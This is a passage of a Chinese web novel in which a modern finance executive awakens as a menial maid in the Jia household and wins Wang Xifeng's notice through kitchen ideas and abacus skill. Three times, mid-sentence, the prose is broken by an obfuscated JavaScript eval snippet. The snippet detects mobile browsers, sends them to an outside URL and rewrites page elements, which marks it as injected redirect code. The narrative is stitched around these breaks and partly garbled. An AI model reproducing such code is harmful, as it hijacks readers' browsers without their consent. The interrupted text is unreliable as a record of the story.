《红楼之贾府丫鬟要上位》 1. 金融女王穿成扫地丫鬟 苏璃是被冻醒的。 腊月的寒风像刀子一样，从破旧的窗纸窟窿里钻进来，刮在她脸上。 她猛地睁开眼，映入眼帘的不是她熟悉的顶层公寓落地窗和都市夜景，而是低矮、黢黑的木质屋顶，空气中弥漫着一股潮湿的霉味和淡淡的柴火气。 身上盖的是一床硬邦邦、带着一股馊味的旧棉被，压得她有些喘不过气。 记忆如潮水般涌入脑海：现代金融女高管苏璃，在敲定一桩横跨亚太的百亿并购案后，因过度劳累猝死在了办公桌前。而现在，她成了荣国府里一个名叫柳絮的、最不起眼的粗使丫鬟。 原主刚因“笨手笨脚”打碎了管事嬷嬷心爱的茶盏，被从二等丫鬟贬黥至这后厨杂役院，连个正经名字都没有，只因生在柳絮纷飞时节，便得了这么个名儿。 昨夜又惊又怕，加上天寒地冻，一场高烧直接要了她的小命，这才让苏璃趁虚而入。 “嘶——”苏璃试图起身，却感觉浑身酸痛，脑袋像是被重锤敲过，嗡嗡作响。她低头看了看自己这具新身体，瘦小干瘪，最多不过十二三岁的年纪，手腕细得仿佛一折就断，一身洗得发白的粗布棉衣，袖口都磨出了毛边。 真是……地狱开局。苏璃在心里苦笑。前世她坐拥亿万资产，挥手间能影响金融市场波动，如今却连保暖都成问题。 “柳絮！死丫头还不起？等着老娘拿鞭子抽你呢！”门外传来一个粗哑的妇人声音，伴随着不耐烦的拍门声。 苏璃一个激灵，属于原主的恐惧记忆让她下意识地绷紧了身体。是管杂役院的张婆子，刻薄寡恩，对底下的小丫鬟非打即骂。 她深吸一口气，强迫自己冷静下来。慌解决不了任何问题，既然来了，就得活下去，而且要活得比前世更好！ 她迅速翻身下床，套上那双露出脚趾的破旧棉鞋，一边整理着头发，一边用尽量顺从的语气应道：“来了，张妈妈，这就来！” 推开吱呀作响的木门，一股更凛冽的寒气扑面而来。 天色还未全亮，院子里灰蒙蒙的，几个同样穿着破旧的小丫鬟正缩着脖子，在井边打水，手冻得通红。张婆子揣着手，穿着一件半新不旧的藏蓝棉比甲，正吊梢着眼瞪她。 “磨磨蹭蹭的，当自己还是奶奶屋里的娇俏人呢？”张婆子唾沫星子几乎喷到苏璃脸上，“赶紧的，把院子扫了，再去后角门把今早送来的柴火搬进来堆好！耽误了事儿，仔细你的皮！” 说着，扔过来一把快秃了的扫帚。 “是，张妈妈。”苏璃低下头，掩去眸中一闪而过的厉色，接过扫帚，默默走到院子中央。 寒风卷着地上的尘土和枯叶，扫起来格外费力。这身体本就虚弱，又刚发过烧，每挥动一下扫帚，苏璃都觉得眼前发黑，手臂酸软。但她咬紧牙关，一声不吭，只是更加仔细地观察着周围的环境。 杂役院位于荣国府最偏僻的角落，紧邻着后厨房。院子不大，住了七八个像她一样的最低等丫鬟和婆子。透过月亮门，能看到厨房那边已经升起了炊烟，人声渐起，隐约能闻到熬粥的香气。 这就是贾府，红楼梦中那个锦绣富贵人家。可这富贵，与她们这些底层奴仆毫无关系，甚至她们的悲惨，正是构筑这繁华富贵的基石。 苏璃一边机械地扫着地，大脑一边飞速运转。根据原主的记忆，现在是红楼故事开始前几年，贾元春尚未封妃，贾府外表还维持着烈火烹油的兴盛，但内里的蛀空早已开始。王熙凤刚刚接手管家不久，正雷厉风行地整顿家务，试图挽回颓势。 这是一个机会。王熙凤需要能干的人，尤其是能帮她理财管账的人。而理财管账，恰恰是苏璃的老本行，是她刻在骨子里的本能。 可是，怎么才能从一个扫地丫鬟，进入到王熙凤的视线？直接跑去说自己是金融奇才？只怕会被当成失心疯乱棍打死。 必须等待，必须隐忍，必须找到一个恰到好处的切入点。 “哐当！”一声脆响，打断了苏璃的思绪。 她抬头望去，只见厨房那边，一个负责洗菜的小丫鬟失手打碎了一摞粗瓷碗，吓得脸色惨白，浑身发抖。 一个穿着体面些、像是厨房小管事的媳妇子立刻冲了过去，劈头盖脸就是一顿骂：“作死的小蹄子！这碗筷都是上了册的，打碎了扣你的月钱都赔不起！真是晦气！” 那小丫鬟不过十岁左右，吓得只会哭求：“李嫂子饶命，我不是故意的，地太滑了……” “还敢顶嘴？”李嫂子扬手就要打。 苏璃心中一动。机会往往藏在细节里。她注意到，那李嫂子骂人时，眼神闪烁，不时瞟向厨房里面堆放食材的角落，似乎有些心虚。而地上散落的碎片旁边，还有几片不太新鲜的菜叶和一小撮明显是次等、甚至掺了沙土的米。 厨房，历来是油水最厚，也最容易出纰漏的地方。尤其是在贾府这样人口众多、管理开始松懈的大家族。 苏璃没有立刻上前，她继续低头扫地，但耳朵却竖了起来，仔细听着那边的动静，眼角的余光将李嫂子的神态和小丫鬟的惶恐尽收眼底。 她需要更多的信息，来判断这厨房里的水有多深，以及自己能从中得到什么。 扫完院子，苏璃又被指派去后角门搬运柴火。后角门连通着外面的小巷，是府里运送杂物、垃圾的通道。两个粗使婆子正守在那里，和一个穿着短打的汉子交接几捆柴火。 那汉子皮肤黝黑，一脸憨厚，但眼神却透着几分精明。他递柴火的时候，悄悄塞给其中一个婆子一个小布包，那婆子迅速揣进怀里，脸上露出满意的神色。 “王老实，今儿的柴火可要干燥些，别像上次那样湿漉漉的，惹得厨房抱怨。”那婆子假模假式地叮嘱道。 “放心放心，张嬷嬷，都是上好的干柴，保管灶火旺！”那叫王老实的汉子连连保证。 苏璃心中冷笑。王老实？只怕一点也不老实。那布包里，多半是铜钱或者碎银子。采购吃回扣，古今皆然。只是不知道，这层层盘剥，最终亏空的是公中的账目，还是克扣了下人的伙食。 她默不作声地走过去，抱起一捆相对干爽的柴火。柴火很沉，她这小身板抱起来十分吃力，脚步都有些踉跄。 “哟，这不是柳絮姑娘吗？怎么干起这粗重活了？”另一个婆子阴阳怪气地笑道，带着明显的幸灾乐祸。她们都知道柳絮被贬黜的事情。 苏璃停下脚步，抬起头，脸上挤出一个怯懦又带着几分讨好的笑容：“刘嬷嬷说笑了，我现在就是个杂役，什么活都得干。这柴火……是重了些。” 她故意表现得吃力又笨拙，仿佛随时会摔倒。 那刘嬷嬷嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908574|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声，没再理她，转头又和王老实低声说笑起来。 苏璃垂下眼，继续艰难地搬运柴火。一趟，两趟……她累得气喘吁吁，额角冒汗，但在无人注意的时候，她的目光锐利地扫过堆放的柴火，估算着数量、质量，记下王老实和那两个婆子交接的细节，甚至默默数着他们低声交谈的次数和时长。 这些看似无用的信息，将来或许都能成为筹码。 搬完柴火，已是日上三竿。苏璃又饿又累，回到杂役院，和其他丫鬟一起，领到了自己的早饭，一个掺着麸皮的冷硬窝头，一碗能照见人影的稀粥，外加一小碟齁咸的腌萝卜。 这就是她一天的主要食物。想要改变命运，首先得活下去，并且要尽快摆脱这种连基本生存都难以保障的境地。 吃完饭，有短暂的休息时间。小丫鬟们聚在背风的墙角，搓着冻僵的手，低声说着闲话。话题无非是哪个主子心情好赏了钱，哪个管事嬷嬷又克扣了月钱，或者哪个小厮和丫鬟偷偷看对了眼。 苏璃安静地坐在角落，看似在发呆，实则将每一句闲聊都听了进去。从这些琐碎的信息中，她努力拼凑着贾府后院的权力结构、人际关系网，以及那些不为人知的潜流和裂缝。 “……听说琏二奶奶昨儿又发了好大的火，好像是账房那边交上来的账目不对。”一个稍微机灵点的小丫鬟小声说道。 “可不是，现在府里开销大，进项却少了，二奶奶管家不易呢。”另一个接话。 “唉，主子们的事，咱们操什么心，能吃饱穿暖就不错了……” 账目不对？苏璃的心脏猛地一跳。这不正是她等待的切入点吗？ 但她按捺住激动。现在还不是时候。她人微言轻，没有任何凭仗，贸然凑上去，只会被当成别有用心。她需要更充分的准备，需要一个能自然展现自己价值的机会，而不是刻意卖弄。 下午的活计是清洗厨房送来的大量碗碟。冰冷刺骨的水，油腻的污垢，苏璃的手很快冻得麻木、红肿、开裂。她看着水中自己模糊的倒影：一张稚嫩却写满疲惫的脸，眼神却异常明亮和坚定。 这点苦，比起前世在华尔街熬夜厮杀、承受巨大压力时，算得了什么？至少，这里没有随时可能将她吞噬的金融巨鳄，有的只是看得见、摸得着的人心算计。而算计人心，正是她最擅长的游戏。 她仔细地清洗着每一个碗碟，动作看似缓慢笨拙，却异常干净。她在观察，哪些碗碟是主子们用的，哪些是下人用的；哪些食材是上等的，哪些是次等的被充作好的。她在心里默默构建着贾府后厨的物资流动模型。 结束了一天的劳作，夜幕降临。杂役院里鼾声四起，丫鬟婆子们都累得沉沉睡去。苏璃却毫无睡意，借着窗外微弱的月光，她用手指蘸着冷水，在冰冷的土炕上，一遍遍练习着这个时代的数字写法，回忆着原主记忆中那简陋的账本格式。 繁体字，竖排，没有阿拉伯数字，没有表格……一切都要重新适应。 寒冷让她手指僵硬，思维却越发清晰。她知道，这条路很难，布满荆棘。但她苏璃，从来就不是坐以待毙的人。从扫地丫鬟到执掌自己的命运，这第一步，她必须走得稳，走得准。 窗外，北风呼啸，卷过荣国府高大的院墙，也吹拂着这间破旧杂役院里，一颗不甘沉寂、即将掀起波澜的心。 2. 厨房里的算盘声 日子在重复的劳累与严寒中滑过。 苏璃，或者说柳絮，像一颗被遗忘的石子，沉在荣国府最底层。 她每日重复着扫地、搬柴、洗碗的活计，沉默寡言，看起来和原主一样笨拙顺从，甚至因为病后初愈，动作比旁人更慢些，没少挨张婆子的斥骂和白眼。 但无人知晓，在这副温顺的皮囊下，大脑每时每刻都在高速运转。她像一块干燥的海绵，疯狂吸收着关于这个时代、这个府邸的一切信息。丫鬟婆子们的闲聊，管事媳妇们的只言片语，甚至往来仆役的神色姿态，都成了她分析判断的素材。 她重点关注两个地方：厨房和账房附近。 厨房是物资流转的核心，也是藏污纳垢之所。通过观察，她基本摸清了厨房的人员结构。总管事是赖大家的，不常来，实际管事的是李嫂子和她手下的几个媳妇。采买由外院男仆负责，但验收、入库、出库的环节，猫腻就多了。 她亲眼见过李嫂子将送来的上等粳米，掺入次等米，再将多出来的好米悄悄让人带出去。也见过本该供给主子们的时鲜蔬菜，被掐头去尾，好的部分不知去向，剩下的才端上桌。柴火、炭薪的虚报数量更是家常便饭。 这些手段并不高明，甚至有些粗陋，但在管理日渐松弛的贾府，竟也成了约定俗成的“规矩”。苏璃在心中冷笑，这点小打小闹，比起她前世见过的资本运作和财务造假，简直是小儿科。但就是这些蚁穴，正在慢慢掏空贾府这座大堤。 而账房，则是这一切漏洞的最终体现。 她曾远远看到账房先生皱着眉头进出，也听过小厮抱怨二奶奶查账查得紧，月钱都晚发了几天。王熙凤显然已经意识到了问题，但她初掌管家大权，手下盘根错节，想要雷厉风行地整顿，阻力不小。 苏璃在等待，等待一个能将她的“价值”自然呈现到王熙凤面前的机会。 她需要一场“意外”，一场能让她从背景板中凸显出来的“表演”。 机会在一个飘着细雪的清晨，悄然而至。 这天轮到苏璃和另一个叫春杏的小丫鬟去厨房帮工，主要负责清洗午膳要用的碗碟和协助处理一些简单的食材。 春杏是个心思简单的丫头，只知道埋头干活。 厨房里热气蒸腾，人声嘈杂。李嫂子正指挥着几个媳妇准备各房主子的早点和午膳食材，嗓门比锅铲碰撞声还响。 “动作都利索点！今儿个琏二奶奶要在花厅陪客，点心席面不能出半点差错！” 就在这时，一个负责采买的小厮急匆匆跑进来，脸上带着慌急：“李嫂子，不好了！原定送来的新鲜河虾，因雪天路滑，渔户说捞不着，送不来了！” 李嫂子一听，脸色顿时变了：“什么？送不来？你可知道今天花厅的席面，水晶虾饺是二奶奶特意点名要的！你这让我拿什么顶上？” 那小厮苦着脸：“嫂子，我也没法子啊，天公不作美……” 厨房里瞬间乱成一团。缺少主要食材，还是二奶奶点名要的，这责任谁也担待不起。李嫂子急得团团转，骂完小厮又骂天气。 苏璃正在角落默默洗着一筐萝卜，听到这话，心中一动。她知道，自己的机会来了。但她不能主动跳出来，那太刻意。她需要让问题自己找上门。 果然，李嫂子目光扫过厨房，最终落在了那堆萝卜和旁边一些泡发的香菇、木耳上，眼中闪过一丝无奈和侥幸。她快步走到苏璃这边，指着那堆食材，语气急促地命令道：“柳絮，春杏！别洗那些了！赶紧的，把这些萝卜去皮切丝，要细！香菇、木耳也切碎了备用！” 春杏愣愣地应了声，拿起削皮刀就开始干活。苏璃却放缓了动作，抬起头，脸上带着恰到好处的怯懦和疑惑，小声问：“李嫂子，这是……要做什么菜？萝卜丝和虾饺怕是……” 李嫂子正心烦，没好气地道：“问那么多做什么？让你切就切！没有虾，只能用别的凑数了！快点的！” 苏璃低下头，手下开始利落地处理萝卜，心中却已明了。这是打算用萝卜丝混上香菇木耳末，冒充虾肉做馅料？ 真是……蠢得可以。 王熙凤何等精明，这种粗劣的替代品，入口便能尝出差别，到时候就不是食材短缺的小过，而是欺瞒主上的大罪了。 她必须阻止，但要以一种不引人怀疑的方式。 她一边飞快地切着萝卜丝，刀工竟出乎意料地均匀细巧，一边用不大但足够让附近几个人听到的声音，仿佛自言自语地喃喃：“这萝卜丝……若是用盐略腌一下逼出水份，口感会不会更爽脆些？只是……不知会不会影响原本计划的味道……” 她的话看似在琢磨怎么把活干得更好，却巧妙地提到了“原本计划的味道”。旁边一个正在和面的媳妇听到了，顺口接了句：“哪还有什么原本计划，这不是没法子了吗？” 苏璃立刻露出恍然和更加不安的神情，手下动作更慢了，怯生生地看向李嫂子：“嫂子，我……我听说二奶奶舌头最是厉害，一点不对都能尝出来……咱们用萝卜代替，万一……万一被尝出来，会不会……” 她没把话说完，但那种恐惧和担忧表现得淋漓尽致。 这话像一盆冷水，浇在了焦头烂额的李嫂子头上。她猛地惊醒！是啊，琏二奶奶可不是好糊弄的！自己光想着凑数，却忘了这一层！真要被当场揭穿，她这个厨房管事也就当到头了！ 李嫂子脸色变了几变，看着已经切好的部分萝卜丝，又看看苏璃那副“胆小怕事”却点醒了关键问题的模样，心里又急又气，却不得不承认这小丫头说得有道理。 “那……那你说怎么办？虾没有，点心又不能不做！”李嫂子语气缓和了些，带着一丝不易察觉的求助。 苏璃知道火候到了。 她放下刀，依旧低着头，声音轻柔却清晰：“奴婢蠢笨，不懂这些……只是想着，既然鲜货没有，是不是可以用些味道鲜甜又不易出错的干货？比如……库房里或许有上好的金华火腿末？取它的咸鲜味，再混合些嫩笋尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午后，消息传回厨房：琏二奶奶对今日的点心颇为满意，尤其称赞那“火腿笋尖饺”鲜香爽口，别有新意，还额外赏了厨房一吊钱！ 厨房里一片欢腾，李嫂子脸上也有了光，难得地对苏璃露出了点笑意：“这次算你立了功，这赏钱……也有你一份。”她抠抠搜搜地数了十个铜板递给苏璃。 苏璃接过铜板，脸上露出受宠若惊的感激表情，心里却平静无波。这点赏钱，不过是开始。重要的是，她今天在厨房，尤其是在李嫂子面前，初步展示了她的“价值”。 她相信，关于“柳絮”这个看似笨拙的丫头，却意外有点厨艺急智的消息，很快就会通过李嫂子和其他人的嘴，在小范围内传开。这为她下一步接触更高层次的人物，埋下了一颗重要的种子。 风雪依旧，但苏璃感觉，通往她目标的那条路，似乎透进了一丝微光。她摩挲着口袋里那十枚还带着厨房温热的铜钱，眼神愈发坚定。 3. 王熙凤的试探 火腿笋尖饺带来的风波，如同投入池塘的石子，涟漪虽不剧烈，却悄然扩散。 杂役院的柳絮不再是完全透明的小丫头，至少在厨房那一亩三分地，李嫂子看她的眼神里，多了几分审视和不易察觉的倚重。 赏钱的事，苏璃没有声张，只悄悄藏好。 在这底层仆役中，十文钱也能惹来红眼和是非。她依旧每日做着最脏最累的活，沉默寡言，仿佛那日的急智只是昙花一现。但暗地里，她观察得更细致，记忆得更牢固。 李嫂子如何与采买交接，每日食材的消耗与剩余，甚至各房主子饮食的偏好和剩菜情况，都成了她脑中不断更新补充的数据。 她知道，李嫂子这种人，不会因为一次帮忙就真正信任她，反而可能因她显露的“不同”而心生警惕。下一次机会，必须来得更自然，更具决定性。 天气愈发寒冷，年关将近，府里的事务越发繁忙。采买年货、准备祭祀、裁制新衣、发放年赏……王熙凤忙得脚不沾地，脾气也见长，听说这几日已经发落了好几个办事不力的管事。 这日午后，苏璃刚洗完一大盆碗碟，手指冻得胡萝卜般红肿僵硬，正准备歇口气，却见李嫂子皱着眉头从外面回来，嘴里不住地低声咒骂着什么。她看到角落里的苏璃，眼神闪烁了一下，竟破天荒地招了招手。 “柳絮，你过来。” 苏璃心中微动，面上却带着几分惶恐，小步挪过去：“李嫂子，有什么吩咐？” 李嫂子将她拉到僻静处，压低声音，脸上带着烦躁和一丝不确定：“上次你那个火腿饺子的主意，还算灵光。眼下有件棘手事，你……你娘以前在饭馆，可听说过怎么处理些不常用的、量又大的干货？” 苏璃心跳漏了一拍，面上越发恭顺：“嫂子请说，我……我尽力回想。” 李嫂子叹了口气：“库房清点，翻出去年采买多了的一批次等海带和些干瘪的虾皮，堆在那里占地方，账房那边催着处理，要么想办法用掉，折价入账，要么就得报损。报损多了，二奶奶那边肯定要过问，少不得一顿排揎……可这东西，味道寻常，量又大，怎么用？” 苏璃瞬间明白了。 这是典型的库存积压问题，在企业管理中常见。次等海带和虾皮，确实食之无味，弃之可惜。但若处理得当，未必不能变废为宝，甚至……她脑中飞快闪过一个念头。 她沉吟片刻，没有直接回答，反而怯生生地问：“嫂子，这批货……若是报损，大概要折多少银子？” 李嫂子没想到她会问这个，愣了一下，才含糊道：“总得有几两银子吧……具体数目得问账房。” 苏璃点点头，仿佛在努力回忆：“我好像记得……我娘说过，海带和虾皮一起熬汤，汤底会特别鲜。若是量太大，单做菜不行，或许……可以做成一种方便的汤料？比如，把它们都烘干研磨成细粉，用干净罐子装起来。平日里主子们想吃个宵夜，或者丫鬟婆子们值夜，舀一勺用开水一冲，就是一碗热腾腾的鲜汤，省时省力，也……也算是个新鲜物事？” 她顿了顿，观察着李嫂子的神色，继续小心翼翼地补充：“而且……做成粉末，体积小了好存放，也不显眼。若是……若是嫂子觉得可行，或许还能跟二奶奶回禀，说是厨房想出的节俭新法，既处理了陈货，又方便了府里上下，说不定……还能得句夸赞？” 苏璃的话，如同在李嫂子混沌的思绪中划亮了一根火柴！ 变废为宝！不仅解决了库存问题，还能在王熙凤面前表功！王熙凤如今正为府里开支头疼，最喜底下人能节俭生法。这“方便汤料”的主意，听起来匪夷所思，但细细一想，却大有可为！尤其是“节俭新法”这几个字，简直说到了点子上！ 李嫂子看着苏璃的眼神彻底变了。这丫头，绝不仅仅是有点厨艺急智那么简单！她看待问题的角度，解决问题的思路，完全超出了一个小丫鬟的范畴！这背后……难道真有高人指点？或者，这柳絮本身就是个深藏不露的？ 惊疑不定之下，李嫂子没有立刻表态，只含糊道：“你这想法……倒是稀奇。我琢磨琢磨。”说完，便心事重重地走开了。 苏璃知道，鱼儿已经咬钩。李嫂子必然会去尝试，并且会权衡是否将这个“功劳”据为己有，或是冒险将她推出去。无论哪种选择，对她而言，都是向上一步的机会。 果然，两天后，苏璃被张婆子叫去，说李嫂子找她。到了厨房，只见角落里支起小磨，李嫂子正指挥人将烘干的海带和虾皮磨成粉，空气中弥漫着一股浓郁的海洋鲜香。看到苏璃，李嫂子神色复杂，屏退了左右。 “柳絮，你那个汤料的主意，我试了，味道确实鲜。”李嫂子盯着她，“这事儿，我打算禀报二奶奶。只是……这话该怎么说，你可有想法？” 苏璃心中了然。李嫂子是想抢功，但又怕自己说不清楚，反而露馅，所以需要她这个“点子来源”从旁协助，却又不想让她独占风头。 苏璃立刻表现出十足的惶恐和顺从：“嫂子说笑了，我一个粗使丫头，能有什么想法？一切都是嫂子主持试制的，我不过是胡乱说了句闲话。一切但凭嫂子做主，需要我做什么，我绝无二话。” 她的态度让李嫂子十分满意，戒心也消减了几分。李嫂子点点头：“算你识相。这样，明天上午，二奶奶大概有空，我带你过去回话。机灵点，该说的说，不该说的……管好自己的嘴！” “是，嫂子放心。”苏璃垂首应下。 次日，苏璃换上了一身勉强算干净的旧衣，跟着李嫂子，第一次踏出了杂役院和厨房的区域，向着荣国府的核心地带——王熙凤日常理事的院落走去。 飞檐斗拱，抄手游廊，穿堂过室，一路上的富丽景象比杂役院的破败繁华了何止百倍。丫鬟仆妇衣着光鲜，行动间规矩森严。苏璃低眉顺眼，亦步亦趋，心中却冷静地记下路径和所见的一切。 到了王熙凤院子的厢房外，早有丫鬟通报。李嫂子深吸一口气，整理了一下衣襟，才带着苏璃躬身进去。 屋内暖意融融，熏香淡淡。王熙凤正坐在临窗的炕上，手里拿着一本账册，眉头微蹙。她身着一件暗红色长裙，长裙上用金线绣着繁复的藤蔓与飞鸟的纹样，光线流转时，图案便若隐若现，整个人静坐在那里，不声不响，却已是光华内敛。只是眉宇间带着一丝挥之不去的疲惫和凌厉。 平儿安静地站在一旁伺候。 “给二奶奶请安。”李嫂子拉着苏璃跪下。 王熙凤眼皮都没抬，只淡淡“嗯”了一声：“什么事？快说，我这儿还忙着呢。” 李嫂子连忙将准备好的说辞禀上，重点强调了自己如何“苦心琢磨”出处理陈货、制作方便汤料以节省开支的“新法”，并呈上了一小罐试制成的汤粉。 王熙凤这才放下账册，拿起那罐汤粉，打开闻了闻，又让平儿冲了一碗。她浅浅尝了一口，凤眸微眯，看不出喜怒。 “味道倒还鲜。”她放下碗，目光扫过李嫂子，最终落在一直伏低身子、看似紧张不安的苏璃身上，“这个头是做什么的？你带她来作甚？” 李嫂子心里一紧，忙道：“回二奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908576|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶，这丫头叫柳絮，是杂役院的。这研磨的细活，她手巧，这次试制她也帮了些忙，奴婢带她来，是想让她给奶奶演示一下如何冲泡。” 王熙凤何等人物，李嫂子那点心思她一眼就看穿了。这主意若真是李嫂子想的，她绝不会多此一举带个粗使丫头来。她嘴角勾起一抹似笑非笑的弧度，目光如电，直刺向苏璃。 “哦？你叫柳絮？抬起头来。” 苏璃依言抬头，目光却依旧恭敬地垂着，不敢与王熙凤对视，身体微微发抖，将一个没见过世面、胆小怯懦的小丫鬟演得惟妙惟肖。 “这汤料的主意，真是李嫂子想的？”王熙凤的声音不高，却带着无形的压力。 苏璃声音发颤，却回答得清晰：“回……回二奶奶的话，是李嫂子主持试制的。奴婢……奴婢只是听嫂子吩咐，干些研磨的粗活。” 她巧妙地将“主意”偷换概念为“试制”，既没否认李嫂子的主导作用，也没承认主意是李嫂子的，把皮球又踢了回去，滴水不漏。 王熙凤眼中闪过一丝极淡的讶异。这小丫头，看着害怕，回话却颇有章法。她不再追问，转而问道：“你说你手巧？除了研磨，还会什么？” 苏璃心中狂跳，知道真正的考验来了。她深吸一口气，依旧低着头，小声道：“奴婢……奴婢以前看人记过账，会写几个数字，也会……也会打算盘。” 她说得极其谦卑，却像一颗石子，投入了王熙凤的心湖。 记账？算盘？一个粗使丫鬟？ 王熙凤的目光骤然锐利起来，她重新打量起眼前这个瘦小、看似毫不起眼的丫头。府里缺什么？缺的就是能理清账目、帮她堵住漏洞的人！账房那几个老油条，滑不溜手，背后关系复杂，她正愁没有可靠的新人手。 这丫头，是真有本事，还是信口开河？ “哦？”王熙凤拖长了语调，对平儿使了个眼色。平儿会意，立刻取来一个小算盘和一张简单的货单。 “既然你会，那就当场算算这单子上的数目。”王熙凤将货单扔到苏璃面前，语气平淡，却不容置疑。 李嫂子在一旁冷汗都下来了，生怕柳絮出丑连累自己。 苏璃知道，这是她穿越以来，最重要的一次机会。她深吸一口气，强迫自己冷静下来。她跪行上前，拿起算盘和货单。 货单上列着几样物品的数量和单价，需要计算总价。数字是繁体，竖排，但对她来说并不难。她熟练地将算盘复位，指尖灵活地拨动起算珠。 清脆的噼啪声在安静的房间里响起，带着一种奇异的节奏感。苏璃全神贯注，心无旁骛，前世在键盘上运指如飞的感觉仿佛又回来了，只是工具换成了这古老的算盘。 不过片刻，她停下动作，恭声道：“回二奶奶，算好了，总计是八两七钱三分。” 平儿早已心算完毕，眼中露出惊讶，对王熙凤微微点头，表示数目无误。 王熙凤看着苏璃那双虽然红肿却异常稳定的手，又看看她低垂却难掩聪慧轮廓的侧脸，心中的疑窦和兴趣同时升起。一个杂役院的丫头，竟有如此熟练的算盘技巧和沉稳的心性？ 她挥了挥手，让李嫂子先退下。李嫂子如蒙大赦，赶紧磕头离开。 房间里只剩下王熙凤、平儿和跪在地上的苏璃。 王熙凤慢条斯理地拨弄着手腕上的玉镯，良久，才缓缓开口，声音里听不出情绪：“柳絮……你这身本事，待在杂役院，倒是屈才了。” 苏璃的心，提到了嗓子眼。 她知道，决定命运的时刻，到了。 4. 算盘惊凤 厢房里静得能听见炭盆中火星迸裂的细微噼啪声。 王熙凤的目光如同实质，沉甸甸地压在苏璃（柳絮）低垂的脊背上。那句“屈才了”，轻飘飘的，却带着千钧之力，悬在苏璃头顶。 苏璃知道，此刻任何一丝多余的反应都可能前功尽弃。 她将头埋得更低，身体恰到好处地微微颤抖，声音带着被巨大惶恐压抑后的哽咽：“二奶奶折煞奴婢了……奴婢……奴婢只是侥幸会拨弄几下算盘，当不得奶奶如此夸赞。能在府里有口饭吃，有片瓦遮身，已是天大的造化，不敢……不敢有非分之想。” 她将自己的姿态放到最低，将一切归为“侥幸”和“造化”，绝口不提任何诉求，反而强调对现状的满足。这是一种以退为进的策略，既符合她当下“卑微丫鬟”的人设，又能进一步勾起王熙凤的好奇和掌控欲。 果然，王熙凤见她如此惶恐，不似作伪，眼中的审视略微淡去，取而代之的是一丝玩味和算计。 她需要一把刀，一把锋利、顺手，却又完全掌握在自己手中的刀。眼前这个丫头，有超出常人的能力，却无依无靠，背景干净得像张白纸，正是绝佳的人选。关键是，如何打磨，又如何确保这把刀不会伤到自己。 “抬起头来。”王熙凤的声音缓和了些，却依旧带着不容置疑的威严。 苏璃依言抬头，眼眶微红，眼神里充满了敬畏和一丝被“大人物”关注后的不知所措，完美演绎了一个底层丫鬟应有的反应。 王熙凤仔细端详着她的脸，除了营养不良导致的清瘦和苍白，眉眼间竟有几分难得的清秀和聪慧之气，尤其是那双眼睛，虽然此刻盛满了惶恐，但眼底深处似乎藏着一股不易察觉的沉静。这不像是个蠢笨丫头该有的眼神。 “你这算盘，跟谁学的？”王熙凤状似随意地问道，手指轻轻敲着炕桌。 苏璃心中早有腹稿，流利地答道：“回二奶奶，奴婢的爹……早年间曾在镇上杂货铺做过几天账房学徒，后来铺子倒了，就没再做了。奴婢小时候在旁边看，偷偷记下了一些，爹见奴婢有点兴趣，闲时便教了奴婢几个数字和简单的算法。后来……爹娘都没了，这点本事也就荒废了，没想到今日……能在奶奶面前献丑。” 她将缘由推给已故的“爹”，时间久远，无从考证，合情合理。语气中带着对往事的怀念和伤感，更添几分真实。 王熙凤听了，不置可否。她并不完全相信这套说辞，但眼下也无需深究。她需要的是能力，至于这能力的来历，只要不威胁到她的地位，可以暂时搁置。 “嗯。”王熙凤沉吟片刻，凤眸一转，看向平儿，“平儿，去把我前儿看的那本最近三个月采买柴炭的流水账拿来。” 平儿应声而去，很快取来一本蓝皮账簿。 王熙凤将账簿递给苏璃，语气平淡却带着考验：“你既然会算，就把这三个月柴炭的总支出，给我重新核算一遍。平儿，你在一旁看着。” 这不是简单的加法，三个月的流水，条目繁多，字迹潦草，中间可能还有涂改和特殊符号，极其考验耐心、眼力和计算的准确性。这不仅是考校算盘技巧，更是考验心性和细致程度。 “是。”苏璃双手接过那本沉甸甸的、带着墨迹和污渍的账簿，感觉手心有些冒汗。她知道，这是决定她能否跳出杂役院的关键一步。 她没有立刻开始，而是先快速浏览了一遍账簿的格式和记录习惯，心中默默熟悉。然后，她深吸一口气，将算盘放在膝上，指尖抚上冰凉的算珠，整个人瞬间进入了一种奇异的专注状态。 前世作为顶尖会计师，面对海量复杂数据都能泰然处之，眼前这古朴的账簿，虽繁琐，却远不及现代财务报表的复杂度。她需要克服的，主要是繁体数字和竖排书写带来的不便。 噼啪……噼啪…… 清脆的算珠声再次响起，不急不躁，带着一种稳定的节奏。苏璃的手指在算盘上飞舞，目光在账簿上快速扫过，心算与珠算结合，速度快得让一旁的平儿暗暗吃惊。更令人惊讶的是她的专注，仿佛周遭的一切都已不存在，只剩下账簿上的数字和手中的算盘。 